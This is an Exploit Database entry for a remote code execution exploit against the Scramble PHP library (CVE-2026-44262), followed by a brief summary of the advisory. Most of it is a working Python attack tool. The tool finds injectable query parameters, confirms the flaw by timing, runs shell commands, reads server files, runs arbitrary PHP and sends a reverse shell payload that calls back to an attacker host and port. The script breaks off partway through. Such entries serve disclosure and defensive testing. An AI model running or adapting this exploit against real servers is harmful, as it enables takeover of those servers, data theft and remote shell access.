This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that youβve provided to them or that theyβve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING scramble - Remote Code Execution EDB-ID: 52582 CVE: 2026-44262 EDB Verified: Author: JOSHUA Type: WEBAPPS Exploit: / Platform: PHP Date: 2026-05-27 Vulnerable App: # Exploit Title: scramble - Remote Code Execution # Google Dork: inurl:/docs/api.json "dedoc/scramble" # Date: 2026-05-07 # Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll) # Vendor Homepage: https://scramble.dedoc.co # Software Link: https://github.com/dedoc/scramble # Version: >=0.13.2, <0.13.22 # Tested on: Linux 6.10.14-linuxkit (aarch64), macOS, Windows # CVE: CVE-2026-44262 # Reference: https://github.com/joshuavanderpoll/CVE-2026-44262 # Advisory: https://github.com/advisories/GHSA-4rm2-28vj-fj39 # # Technique: extract() + eval() in NodeRulesEvaluator::doEvaluateExpression() # lets attacker overwrite Scramble's internal $code variable with # arbitrary PHP via a query parameter on /docs/api.json. import argparse import json import re import readline import ssl import sys import time import urllib.error import urllib.parse import urllib.request DOCS_PATH = "/docs/api.json" SLEEP_SECONDS = 4 PROOF_FILE_UNIX = "/tmp/scramble_rce_proof.txt" PROOF_FILE_WIN = "C:\\Windows\\Temp\\scramble_rce_proof.txt" R = "\033[91m" G = "\033[92m" Y = "\033[93m" C = "\033[96m" P = "\033[95m" B = "\033[1m" X = "\033[0m" REPO = "https://github.com/joshuavanderpoll/CVE-2026-44262" DEFAULT_UA = f"Mozilla/5.0 AppleWebKit/537.36 (CVE-2026-44262; +{REPO})" DEFAULT_TIMEOUT = 15.0 _ua = DEFAULT_UA _timeout = DEFAULT_TIMEOUT _target_os = "unknown" CTX = ssl.create_default_context() CTX.check_hostname = False CTX.verify_mode = ssl.CERT_NONE def print_banner(): print(f"{P}{B}") print(r" _____ _____ ___ __ ___ __ _ _ _ _ ___ __ ___ ") print(r" / __\ \ / / __|_|_ ) \_ )/ / ___| | || | |_ )/ /|_ )") print(r" | (__ \ V /| _|___/ / () / // _ \___|_ _|_ _/ // _ \/ / ") print(r" \___| \_/ |___| /___\__/___\___/ |_| |_/___\___/___|") print(f"{X}") print(f"{P}{B}{REPO}{X}\n") def fetch(url: str, timeout: float | None = None): req = urllib.request.Request(url, headers={"User-Agent": _ua}) t = timeout if timeout is not None else _timeout try: with urllib.request.urlopen(req, context=CTX, timeout=t) as r: raw = r.headers headers = {k.lower(): v for k, v in raw.items()} # get_all handles duplicate Set-Cookie headers headers["set-cookie-list"] = raw.get_all("Set-Cookie") or [] return r.status, r.read().decode(errors="replace"), headers except urllib.error.HTTPError as e: return e.code, e.read().decode(errors="replace"), {} except urllib.error.URLError as e: return None, str(e.reason), {} def info(msg): print(f"{Y}[*]{X} {msg}") def ok(msg): print(f"{G}[+]{X} {msg}") def err(msg): print(f"{R}[-]{X} {msg}") def proc(msg): print(f"{C}[@]{X} {msg}") def normalize_target(target: str) -> str: if not target.startswith(("http://", "https://")): target = "http://" + target return target.rstrip("/") def print_cookie_findings(cookies: list[str]): for raw in cookies: name = raw.split("=")[0].strip() value_part = raw.split("=", 1)[1].split(";")[0].strip() if "=" in raw else "" if name.upper() == "XSRF-TOKEN": info(f"CSRF token (XSRF-TOKEN): {G}{value_part}{X}") elif "session" in name.lower(): info(f"Session cookie '{name}': {G}{value_part}{X}") else: info(f"Cookie '{name}': {value_part}") def check_accessible(base: str) -> bool: url = base + DOCS_PATH proc(f"Probing {url}") status, body, headers = fetch(url) if status is None: err(body) return False if status == 200 and '"paths"' in body: ok(f"HTTP {status} β docs accessible") if server := headers.get("server"): info(f"Server: {G}{server}{X}") if powered := headers.get("x-powered-by"): info(f"X-Powered-By: {G}{powered}{X}") if cookies := headers.get("set-cookie-list"): print_cookie_findings(cookies) return True err(f"HTTP {status} β not accessible or wrong target") return False def analyze_spec(base: str) -> tuple[list[tuple[str, str]], str | None]: """ Single spec fetch β prints all discovered target info. Returns (vuln_params, version). """ _, body, _ = fetch(base + DOCS_PATH) vuln_hits = [] version = None # Laravel rule keywords that'd never appear as legit query param defaults rule_pattern = re.compile( r"^(required|nullable|string|integer|numeric|boolean|array|min:|max:|in:)", re.I ) try: data = json.loads(body) except json.JSONDecodeError: return vuln_hits, version info_block = data.get("info", {}) version = info_block.get("version") if title := info_block.get("title"): info(f"API title: {G}{title}{X}") if version: info(f"API version: {G}{version}{X}") if servers := data.get("servers"): for s in servers: info(f"Server URL: {G}{s.get('url', '?')}{X}") paths = data.get("paths", {}) if paths: info(f"Endpoints discovered ({len(paths)}):") for path, methods in paths.items(): method_list = ", ".join(m.upper() for m in methods) print(f" {Y}{method_list}{X} {path}") for path, methods in paths.items(): for method_data in methods.values(): for param in method_data.get("parameters", []): if param.get("in") != "query": continue schema = param.get("schema", {}) default = str(schema.get("default", "")) if rule_pattern.match(default) or "|" in default: vuln_hits.append((path, param["name"])) return vuln_hits, version def build_attack_url(base: str, param: str, payload: str) -> str: return base + DOCS_PATH + "?" + urllib.parse.urlencode({param: payload}) def capture_output(base: str, param: str, payload: str) -> str | None: """ Send a PHP payload and capture output from the response body. Output from print/echo appears before the JSON β everything before '{'. """ _, body, _ = fetch(build_attack_url(base, param, payload)) json_start = body.find("{") if json_start == -1: return body.strip() or None output = body[:json_start].strip() return output or None def probe_timing(base: str, param: str) -> bool: proc(f"Timing probe β sleep({SLEEP_SECONDS}) via param '{param}'") t0 = time.monotonic() fetch(base + DOCS_PATH) baseline = time.monotonic() - t0 info(f"Baseline: {baseline:.2f}s") attack_url = build_attack_url(base, param, f"sleep({SLEEP_SECONDS})") info(f"Payload URL: {attack_url}") t0 = time.monotonic() fetch(attack_url, timeout=SLEEP_SECONDS + _timeout) elapsed = time.monotonic() - t0 delay = elapsed - baseline info(f"Attack response: {elapsed:.2f}s (delay: {delay:+.2f}s)") triggered = delay >= (SLEEP_SECONDS * 0.75) if triggered: ok(f"VULNERABLE β response delayed ~{SLEEP_SECONDS}s") else: err("Not triggered (no significant delay)") return triggered def probe_exec(base: str, param: str) -> bool: proc(f"Command exec probe via param '{param}'") cmd = "whoami" if is_windows() else "id 2>&1" output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd)}))") if output: ok("VULNERABLE β command output captured:") print(f"\n {B}{output}{X}\n") return True err("No command output in response (not vulnerable via this vector)") return False def detect_os(base: str, param: str): global _target_os raw = capture_output(base, param, "print(php_uname('s'))") if not raw: return lower = raw.strip().lower() if "windows" in lower: _target_os = "windows" elif "linux" in lower: _target_os = "linux" elif "darwin" in lower: _target_os = "darwin" else: _target_os = raw.strip() info(f"Target OS: {G}{_target_os}{X}") def is_windows() -> bool: return _target_os == "windows" def proof_file() -> str: return PROOF_FILE_WIN if is_windows() else PROOF_FILE_UNIX def shell_binary() -> str: return "cmd.exe" if is_windows() else "/bin/sh" def print_output_block(output: str): print(f"\n{B}{'β' * 65}{X}") print(output) print(f"{B}{'β' * 65}{X}\n") def run_command(base: str, param: str, cmd: str): proc(f"Executing: {cmd}") # 2>&1 merges stderr into stdout so errors show up in output cmd_with_stderr = cmd if "2>" in cmd else cmd + " 2>&1" output = capture_output(base, param, f"print(shell_exec({json.dumps(cmd_with_stderr)}))") if output is not None: print_output_block(output) else: err("No output (command may have failed silently)") def run_code(base: str, param: str, code: str): proc("Executing raw PHP code") # closure makes multi-statement code a single eval-able expression wrapped = f"(function(){{ {code} }})()" output = capture_output(base, param, wrapped) if output is not None: print_output_block(output) else: err("No output returned") def run_read_file(base: str, param: str, path: str): proc(f"Reading file: {path}") output = capture_output(base, param, f"print(file_get_contents({json.dumps(path)}))") if output is not None: ok(f"Contents of {path}:") print_output_block(output) else: err("No output β file may not exist or not readable") def run_reverse_shell(base: str, param: str, lhost: str, lport: int): """ PHP eval-loop reverse shell β no bash or busybox required. Connects back to lhost:lport and executes PHP code sent over the socket. """ info(f"Starting listener on your end:") print(f"\n {B}nc -lvnp {lport}{X}\n") proc(f"Sending reverse shell payload to {lhost}:{lport}") shell = shell_binary() # proc_open pipes shell stdin/stdout/stderr directly to the socket payload = ( f"(function(){{" f"$s=@fsockopen('{lhost}',{lport},$e,$m,30);" f"if(!$s)return;" f"$p=proc_open({json.dumps(shell)},array(0=>$s,1=>$s,2=>$s),$pipes);" f"if($p)proc_close($p);" f"fclose($s);" f"}})()" ) # fire and forget β connection hangs until shell is done fetch(build_attack_url(base, param, payload), timeout=3600) def run_check(base: str, skip_os_detect: bool = False): """Non-breaking check β ti
A critical remote code execution vulnerability (CVE-2026-44262, CVSS 9.4) exists in the Scramble PHP library due to unsafe use of `extract()` and `eval()` functions within the `NodeRulesEvaluator::doEvaluateExpression()` method, allowing attackers to execute arbitrary PHP code via a crafted query parameter sent to the `/docs/api.json` endpoint. According to the NVD, the flaw affects Scramble versions from 0.13.2 up to, but not including, 0.13.22.